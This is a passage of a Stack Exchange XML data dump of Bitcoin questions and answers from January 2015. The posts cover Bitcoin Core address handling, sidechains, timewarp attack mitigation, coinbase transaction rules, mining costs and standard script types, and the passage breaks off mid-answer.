  <row Id="35431" PostTypeId="1" AcceptedAnswerId="35432" CreationDate="2015-01-11T17:24:45.903" Score="4" ViewCount="8494" Body="&lt;p&gt;I am attempting to allow multiple bitcoin addresses to be created per account, but how can I delete them using the standard API? There doesn't seem to be a function for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. the acccount &quot;Test&quot; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array (&#xA;[0] =&amp;gt; 1JQQXBRrG5h7uW8StVtJRcGEdb4YYTqnas&#xA;[1] =&amp;gt; 1LP8VeKDNKAgErCnYVAFvGMnrGbM3oHe6u&#xA;[2] =&amp;gt; 1LwTx3a7hy4FZ5EJMxcPnRG9ap8AUwd2cm&#xA;[3] =&amp;gt; 1AtbnW8dPuzp6jVnAvipiJR4o1BupCcU8D&#xA;[4] =&amp;gt; 1K7FyNgmJ4ryjKgNz9ybxzQcYrGDEbYEUX&#xA;[5] =&amp;gt; 1Ng77Nq1SF46MDZnz4pEirCEbbiHZ1Wthp&#xA;[6] =&amp;gt; 175FKAiJSC9wA12BPcYZD6drTYLxXXChdZ&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What if the user just wants to delete 1JQQXBRrG5h7uW8StVtJRcGEdb4YYTqnas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="14422" LastEditorUserId="18196" LastEditDate="2015-01-12T03:37:42.167" LastActivityDate="2018-09-22T19:29:51.163" Title="How do you delete an account in Bitcoin Core?" Tags="|address|json-rpc|bitcoin-core-accounts|" AnswerCount="2" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="35432" PostTypeId="2" ParentId="35431" CreationDate="2015-01-11T18:41:29.967" Score="4" Body="&lt;p&gt;bitcoind does not allow you to delete addresses. (If it did, the next question people would ask is, &quot;How do I undelete addresses?&quot; :))&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you can use the rpc call &lt;code&gt;setaccount&lt;/code&gt; to change the account associated with the address. The first argument to &lt;code&gt;setaccount&lt;/code&gt; should the the address you're changing; the second shound be the account you're moving it to. (If you want to move it to the default account, put &lt;code&gt;&quot;&quot;&lt;/code&gt; as the second argument.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this does not change the balance of the account; balances are tracked internally. If you want to keep this consistent, run &lt;code&gt;getreceivedbyaddress&lt;/code&gt;, then &lt;code&gt;move&lt;/code&gt; that balance to the new account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use &lt;a href=&quot;https://github.com/jackjack-jj/pywallet&quot; rel=&quot;nofollow&quot;&gt;PyWallet&lt;/a&gt; to delete addresses permanently. Use the &lt;code&gt;--multidelete&lt;/code&gt; option, and pass it a path to a file. That file should contain &lt;code&gt;key&lt;/code&gt; as the first line, followed by each address you want to delete, each on a new line.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-01-12T07:38:24.017" LastActivityDate="2015-01-12T07:38:24.017" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35434" PostTypeId="1" CreationDate="2015-01-11T19:20:32.777" Score="1" ViewCount="151" Body="&lt;p&gt;I've got Abe running, but would really like to get the page looking nicer. I've managed to change the logo, but would like to change the title and change some colours and fonts, maybe add some more text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this HTML is generated on the fly, from abe.py? I've tried editing that, but it doesn't seem to effect my page at all. &lt;/p&gt;&#xA;" OwnerUserId="22870" LastEditorUserId="121614" LastEditDate="2021-12-27T17:18:26.263" LastActivityDate="2021-12-27T17:18:26.263" Title="Can anyone give me some help editing the Abe html?" Tags="|blockchain-explorer|abe|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35435" PostTypeId="2" ParentId="35321" CreationDate="2015-01-11T20:21:46.777" Score="4" Body="&lt;p&gt;The simple solution is a soft fork that requires each block's time be equal to or greater than the time of the previous block on the block chain.  That is, time on the block chain can't go backwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If time can't go backwards, then the attacker can't artificially lower difficulty except by mining blocks with times in the future, and the network already rejects blocks more than 120 minutes into the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This proposal is a soft fork because non-upgraded miners will accept a more difficult chain whose times only increase or stay the same.  If implemented the same way as &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0034.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP34&lt;/a&gt;, the supermajority of hash rate would be upgraded before the new rule was applied, minimizing disruption.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastEditorUserId="21052" LastEditDate="2015-01-15T13:43:59.260" LastActivityDate="2015-01-15T13:43:59.260" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35436" PostTypeId="2" ParentId="35416" CreationDate="2015-01-11T22:17:31.393" Score="0" Body="&lt;p&gt;I think it will assume all addresses are empty and generate just the &quot;gap&quot; number&lt;/p&gt;&#xA;" OwnerUserId="22874" LastActivityDate="2015-01-11T22:17:31.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35437" PostTypeId="1" AcceptedAnswerId="35438" CreationDate="2015-01-11T22:30:43.720" Score="3" ViewCount="320" Body="&lt;p&gt;Is it likely that side-chain support will be added to Bitcoin? As I understand it, side-chain support will require a hard fork to Bitcoin to support this functionality:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&quot;moving&quot; BTC to external blockchain-based currencies,&lt;/li&gt;&#xA;&lt;li&gt;for each of these currencies, keeping a counter of how much BTC has been moved to that currency, and&lt;/li&gt;&#xA;&lt;li&gt;allowing BTC to be moved back into the Bitcoin blockchain (which decrements the counter).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Part #1 is (and has been) supported without a hard fork, using addresses like 1BitcoinEaterAddressDontSendf59kuE , but part #3 is critical for side-chain support and requires a hard fork.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that it will be extremely difficult to have a hard fork on such a large cryptocurrency. What is the likelihood that it can be done?&lt;/p&gt;&#xA;" OwnerUserId="22875" LastEditorUserId="2306" LastEditDate="2015-01-11T22:33:12.907" LastActivityDate="2015-01-11T23:22:47.513" Title="Is it likely that side-chain support will be added to Bitcoin?" Tags="|blockchain-fork|sidechains|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35438" PostTypeId="2" ParentId="35437" CreationDate="2015-01-11T23:22:47.513" Score="1" Body="&lt;p&gt;Yes, it is very likely that Bitcoin will support side chains within the next few years.  (By my guess, not 2015 but maybe 2016.)  Side chain support does not require a hard fork---it only requires a soft fork.  As the &lt;a href=&quot;http://blockstream.com/sidechains.pdf&quot; rel=&quot;nofollow&quot;&gt;sidechains&lt;/a&gt; paper explains (page 10, final paragraph):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To use Bitcoin as the parent chain, an extension to script which can recognise and validate such&#xA;  SPV proofs would be required. At the very least, such proofs would need to be made compact&#xA;  enough to fit in a Bitcoin transaction. However, this is just a soft-forking change, without effect on&#xA;  transactions which do not use the new features.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Note that Bitcoin doesn't need a special counter to keep track of value sent to child chains---it already keeps track of every spendable balance.  Sending bitcoins to a side chain will be essentially the same as sending money to any other bitcoin address---except that you'll need a special tool to create the transaction for you.  Receiving bitcoins back from the side chain will also require the special tool, but that tool will just create a transaction that spends one or more of the transactions previously sent to the side chain.  (Note that the tool will need to operate on both the side chain and the Bitcoin block chain to maintain consistency.)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As an aside, hard forks are only as difficult as it is to convince people to upgrade.  The most recent hard fork, the August 2013 fork mentioned in &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0050.mediawiki#Resolution&quot; rel=&quot;nofollow&quot;&gt;BIP50&lt;/a&gt;, was relatively easy because it was a fix for an acknowledged major bug.  On the other hand, Gavin Andresen will likely soon be proposing a &lt;a href=&quot;http://gavintech.blogspot.com/2015/01/looking-before-scaling-up-leap.html&quot; rel=&quot;nofollow&quot;&gt;hard fork to increase block size&lt;/a&gt; that may be quite difficulty because it's a major change to how Bitcoin has worked since 2010.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pegged side chains falls somewhere in between those two extremes (and it is only a soft fork), so I guess it will &quot;only&quot; take about 3 months of discussion and testing once a patch/BIP is proposed and about 6 months to fully rollout the soft fork, similar to the rollout of &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0034.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP34&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2015-01-11T23:22:47.513" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35439" PostTypeId="2" ParentId="35321" CreationDate="2015-01-11T23:34:24.707" Score="-3" Body="&lt;p&gt;Keep your eyes on networks such as Myriad, Digibyte, Digitalcoin, Unitus and others that use Multi-Algo proof of work.  As some of you may know, Myriadcoin was being Timewarp attacked toward the end of last year and has successfully ended the bad actors' efforts.  I for one, don't know where the thresholds are for a % of hashrate to be able to pull off such an attack.  An in depth analysis of the Myriad Blockchain (timestamps and all, network traffic from the attack would be nice too, but must be captured live) and a look over at &lt;a href=&quot;https://github.com/myriadcoin/myriadcoin&quot; rel=&quot;nofollow&quot;&gt;https://github.com/myriadcoin/myriadcoin&lt;/a&gt; would be a good idea for anyone interested in solving timewarp issues.&lt;/p&gt;&#xA;" OwnerUserId="6803" LastActivityDate="2015-01-11T23:34:24.707" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35443" PostTypeId="2" ParentId="2228" CreationDate="2015-01-12T03:22:36.590" Score="1" Body="&lt;p&gt;It surely has some potential to help money launderers to conceal their identity from Anti Money Laundering regulation. Because a new wallet address could be generated at any time, without the prolonged process of Knowing-Your-Client (KYC), you can hypothetically conceal the owner of each account/address. For example, you have hacked a bitcoin exchange and you created a transaction through the block chain to xxxx1 address, then after that you split all of the amount in xxxx1 into xxxx2, xxxx3, xxxx4, which you control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this does not leave you without breach. If you use your bitcoin address often enough in the internet, your identity could be disclosed to the public (and also the feds). In this case what Amir Taaki tried to add a layer of security to DarkWallet, to enforce a concealment of public addresses in bitcoin to make it harder for the feds to get to know the true identity behind a wallet address.&lt;/p&gt;&#xA;" OwnerUserId="15107" LastActivityDate="2015-01-12T03:22:36.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35448" PostTypeId="1" AcceptedAnswerId="35450" CreationDate="2015-01-12T12:03:47.170" Score="19" ViewCount="17770" Body="&lt;p&gt;We know widely used explanation of the blockchain:&#xA;&quot;&lt;a href=&quot;https://en.bitcoin.it/wiki/Block_chain&quot; rel=&quot;noreferrer&quot;&gt;Every block contains a hash of the previous block&lt;/a&gt;&quot;. The sentence above implies that since every block contains a hash of the previous block, therefore every block should have a knowledge about transactions included into the previous block because every block has a following structure:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Block:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Magic No&lt;/li&gt;&#xA;&lt;li&gt;Block Size&lt;/li&gt;&#xA;&lt;li&gt;Block Header&lt;/li&gt;&#xA;&lt;li&gt;Transaction counter&lt;/li&gt;&#xA;&lt;li&gt;Transactions&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Block Header:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Version&lt;/li&gt;&#xA;&lt;li&gt;hashPrevBlock&lt;/li&gt;&#xA;&lt;li&gt;hashMerkleRoot&lt;/li&gt;&#xA;&lt;li&gt;Time&lt;/li&gt;&#xA;&lt;li&gt;Bits&lt;/li&gt;&#xA;&lt;li&gt;Nonce&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;However, every block does not have knowledge about transactions incuded into previous block &lt;strong&gt;correct???&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As fas as I understand there are two chains in the Bitcoin: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;a chain of &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_hashing_algorithm&quot; rel=&quot;noreferrer&quot;&gt;blocks headers&lt;/a&gt; (a block chain)&lt;/li&gt;&#xA;&lt;li&gt;a chain of transactions (&lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction#general_format_.28inside_a_block.29_of_each_input_of_a_transaction_-_Txin&quot; rel=&quot;noreferrer&quot;&gt;Prev Tx Hash&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hence just to clarify, rather than saying: &quot;every block contains a hash of the previous block&quot;, would not it be correct to say: &quot;header of every block contains a hash of header of the previous block&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please correct my assumptions if I am wrong. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="13358" LastEditorUserId="5406" LastEditDate="2016-08-03T06:34:23.407" LastActivityDate="2021-01-16T14:18:54.880" Title="Is it chain of headers rather than a chain of blocks?" Tags="|blockchain|block-header|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35449" PostTypeId="1" AcceptedAnswerId="35451" CreationDate="2015-01-12T14:15:09.920" Score="7" ViewCount="2959" Body="&lt;p&gt;I am new to Bitcoin and I read some article about bitcoins and Most articles says &quot;When using CPUs, GPUs, or even the older ASICs, the cost of energy consumption is greater than the revenue generated.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to ask is why people still trying to mining with their CPUs and GPUs?&lt;/p&gt;&#xA;" OwnerUserId="22884" LastEditorUserId="2306" LastEditDate="2016-03-09T23:08:24.377" LastActivityDate="2016-03-09T23:08:24.377" Title="Energy consumption while mining" Tags="|mining-profitability|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35450" PostTypeId="2" ParentId="35448" CreationDate="2015-01-12T14:27:02.473" Score="20" Body="&lt;p&gt;Blocks contain a header, and headers are chained, so blocks are chained also.  Note the merkle root from your question: this attaches the transactions in the block to the header, making them a logical combined unit:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://web.archive.org/web/20191201031454/https://bitcoin.org/img/dev/en-blockchain-overview.svg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20191201031454/https://bitcoin.org/img/dev/en-blockchain-overview.svg&quot; alt=&quot;block chain&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;That is, you can't attach an arbitrary block to an arbitrary header---each header only attaches to one set of transactions.&lt;/p&gt;&#xA;&lt;p&gt;You are correct that this expression is wrong: &amp;quot;every [valid] block contains a hash of the previous block&amp;quot;.  That phrasing may be useful for non-techies, but if you find it in any editable technical documentation, you should probably change it.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastEditorUserId="42185" LastEditDate="2021-01-16T14:18:54.880" LastActivityDate="2021-01-16T14:18:54.880" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="35451" PostTypeId="2" ParentId="35449" CreationDate="2015-01-12T14:28:37.450" Score="10" Body="&lt;p&gt;Just for fun. Many actions can't be explained from the point of view of logic&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2015-01-12T14:28:37.450" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35452" PostTypeId="2" ParentId="35449" CreationDate="2015-01-12T14:32:55.853" Score="4" Body="&lt;p&gt;In my case I wanted to test the whole thing and see if I was able to get some coins (cents or whatever). Truth is that my test was almost 2 years ago and I was able to mine 0,01 BTC in a couple of weeks if my memory serves me well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that I started investing and bought a real miner. As of today, that can't be the case, because there are no pools that pay you if you don't mine a minimum so you may never get what you mine with your CPU. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My conclusion is that they may be testing not expecting any revenue. &lt;/p&gt;&#xA;" OwnerUserId="12249" LastActivityDate="2015-01-12T14:32:55.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35453" PostTypeId="2" ParentId="35449" CreationDate="2015-01-12T15:44:51.983" Score="2" Body="&lt;p&gt;Maybe the user is not paying for the electricity of their computer. I used to mine with my desktop while in College and living in a dorm. That was also a few years ago but I was able to collect 5 coins throughout the year. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if you spend the time now to mine your coins how ever possible, the hope would be I guess that one day they will be worth more then what you spent to get them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But regardless when using a Desktop, I was never able to mine successfully from a CPU, needed GPU to ever be able to get coins from a pool. &lt;/p&gt;&#xA;" OwnerUserId="3686" LastActivityDate="2015-01-12T15:44:51.983" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35454" PostTypeId="1" CreationDate="2015-01-12T16:26:18.243" Score="3" ViewCount="7881" Body="&lt;p&gt;I run it like the below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind -datadir=/Users/varunvb/Downloads -conf=/Users/varunvb/Downloads/bitcoin.conf -daemon&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I run (Using the user name and password as in the config file)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli -rpcuser=&amp;lt;USER&amp;gt; -rpcpassword=&amp;lt;PWD&amp;gt; getinfo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get &#xA;error: &lt;code&gt;incorrect rpcuser or rpcpassword (authorization failed)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see the below in the debug log&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ThreadRPCServer incorrect password attempt from 127.0.0.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My bitcoin.conf file looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-e&#xA;rpcuser=&amp;lt;USER&amp;gt;&#xA;rpcpassword=&amp;lt;PWD&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="21441" LastEditorUserId="2306" LastEditDate="2015-01-13T01:47:03.010" LastActivityDate="2015-01-13T01:47:03.010" Title="bitcoin-cli fails with auth error" Tags="|bitcoind|client|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="35455" PostTypeId="1" AcceptedAnswerId="35457" CreationDate="2015-01-12T17:37:17.993" Score="8" ViewCount="506" Body="&lt;p&gt;There are a few limitations on the structure of the coinbase (reward) transaction in a block. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;There is only one input. &lt;code&gt;vin.size() == 1&lt;/code&gt; (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.10.0rc3/src/primitives/transaction.h#L232&quot; rel=&quot;noreferrer&quot;&gt;source&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;It doesn't reference any previous output. &lt;code&gt;vin[0].prevout.IsNull()&lt;/code&gt; (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.10.0rc3/src/primitives/transaction.h#L232&quot; rel=&quot;noreferrer&quot;&gt;source&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;The scriptSig is not too big. &lt;code&gt;vin[0].scriptSig.size() &amp;lt;= 100&lt;/code&gt; (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.10.0rc3/src/main.cpp#L876&quot; rel=&quot;noreferrer&quot;&gt;source&lt;/a&gt;)  &lt;/li&gt;&#xA;&lt;li&gt;The scriptSig is not too small. &lt;code&gt;vin[0].scriptSig.size() &amp;gt;= 2&lt;/code&gt; (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.10.0rc3/src/main.cpp#L876&quot; rel=&quot;noreferrer&quot;&gt;source&lt;/a&gt;)   &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I don't see the point of any of these. #1 and #2 enable &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0034.mediawiki&quot; rel=&quot;noreferrer&quot;&gt;BIP34&lt;/a&gt;, but they are not necessary to achieve the same outcome. The size constraints don't really limit anything, if a miner wants to make a large block they can just many many outputs in their coinbase, or many many transactions into their block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why isn't a coinbase transaction just a transaction which:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Has at least one input that doesn't reference any previous outputs (for use in &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0034.mediawiki&quot; rel=&quot;noreferrer&quot;&gt;BIP34&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Allowed to claim up to (block reward + fees) more than it can spend&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In particular, the coinbase could optionally have further null inputs and could spend previous outputs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know for Bitcoin it's likely too late for these to change. &lt;strong&gt;Is this a case of over-designing, or are there security reasons for any of these constraints on the coinbase?&lt;/strong&gt; Loosening constraint #2, in particular, makes me pause because of a bitcoin development mailing list email concerning how allowing the coinbase to spend prevouts would enable securely paying a miner to mine a chain reorganization in a particular way.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="5406" LastEditDate="2020-07-01T03:58:40.907" LastActivityDate="2020-07-01T03:58:40.907" Title="Why bother having limitations on Bitcoin Coinbase Transaction Scriptsigs?" Tags="|mining-reward|consensus|coinbase-transaction|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35456" PostTypeId="1" AcceptedAnswerId="35458" CreationDate="2015-01-12T18:24:28.003" Score="6" ViewCount="933" Body="&lt;p&gt;I am implementing a library for tracking wallet balance of given bitcoin addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should the transaction output script be parsed to find if the output belongs to the given address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it dirty if I just match &lt;em&gt;pay-to-pubkey-hash&lt;/em&gt; and &lt;em&gt;pay-to-script-hash&lt;/em&gt; transaction by simply matching&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_DUP OP_HASH160 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx OP_EQUALVERIFY OP_CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_HASH160 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx OP_EQUAL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or should I implement more sophisticated script parser which can detect &quot;non-standard&quot; scripts as well?&lt;/p&gt;&#xA;" OwnerUserId="4175" LastActivityDate="2017-12-08T18:04:38.247" Title="Which bitcoin script forms should be detected when tracking wallet balance?" Tags="|transactions|script|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35457" PostTypeId="2" ParentId="35455" CreationDate="2015-01-12T18:40:49.797" Score="5" Body="&lt;p&gt;The correct answer is: ask Satoshi.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guessed answers to the questions you asked:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Why only one input?&lt;/strong&gt; You can't predict when a particular coinbase transaction will make it into a successful block and you can't spend the output of a coinbase transaction for 100 blocks.  That means using a regular transaction is much superior for any normal spending.  If there's no normal case for adding inputs to a coinbase, maybe Satoshi thought it best to disallow inputs to prevent un-thought-of attacks.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Why reference a null &lt;a href=&quot;https://bitcoin.org/en/developer-reference#outpoint&quot; rel=&quot;nofollow noreferrer&quot;&gt;outpoint&lt;/a&gt;?&lt;/strong&gt; Using the same basic format as a regular transaction probably allowed code reuse.  If he had optimized the coinbase, we would've saved 36 bytes times 338,692 blocks (so far), or about 12 MB.  Not a big deal.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Why limit coinbase size to 100 bytes?&lt;/strong&gt; We know Satoshi used the coinbase to put a message in block 0.  Maybe a 100-byte limit was his attempt to prevent anyone else from using that same mechanism to add overlong messages.  This was probably quite smart: from the fairly early days through today, many miners add messages to all of their coinbases---we can only imagine how annoying and wasteful those messages would be if they weren't limited to 100 bytes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Why specify minimum coinbase size as 2 bytes?&lt;/strong&gt; Highly speculative here, but maybe Satoshi foresaw the easy-duplication-of-coinbases described in &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0030.mediawiki&quot; rel=&quot;nofollow noreferrer&quot;&gt;BIP30&lt;/a&gt; and wanted to require people use something like the &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/32603/why-didnt-satoshi-make-the-nonce-space-larger/32618#32618&quot;&gt;original extranonce&lt;/a&gt; to help prevent accidental TXID collisions.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="21052" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2015-01-12T23:00:21.480" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35458" PostTypeId="2" ParentId="35456" CreationDate="2015-01-12T22:50:53.000" Score="9" Body="&lt;p&gt;These are the scriptPubKey's that are standard, arranged in order of popularity:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;P2PKH (Pay to public key hash)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_DUP OP_HASH160 &amp;lt;20 bytes of public key hash&amp;gt; OP_EQUALVERIFY OP_CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;P2SH (Pay to script hash)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_HASH160 &amp;lt;20 bytes of script hash&amp;gt; OP_EQUAL&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;P2PK (Pay to public key)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is now mostly unused, except by miners, but there are still unspent outputs in the form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;33 or 65 bytes of public key&amp;gt; OP_CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Segregated witness outputs&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two ways of signaling that a scriptPubKey should be interpreted as a segregated witness program:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Native witness program&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;version byte&amp;gt; &amp;lt;2 to 40 bytes of witness data&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The version byte must be equal to or less than 16.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;P2SH wrapped witness program&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_HASH160 &amp;lt;20 bytes of script hash&amp;gt; OP_EQUAL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The scriptSig must have exactly one item. That item is interpreted as a witness program, as above.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you extract the witness program, you must match it to one of the witness program types:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;P2WPKH&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0 &amp;lt;20 bytes of public key hash&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is hashed identically to P2PKH.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;P2WSH&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0 &amp;lt;32 bytes of witness script hash&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is pretty similar to P2SH, except that the script hash is SHA256, not HASH160. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Other version 0 scripts, not 20 or 32 bytes in length, are nobody-can-spend, so ignore 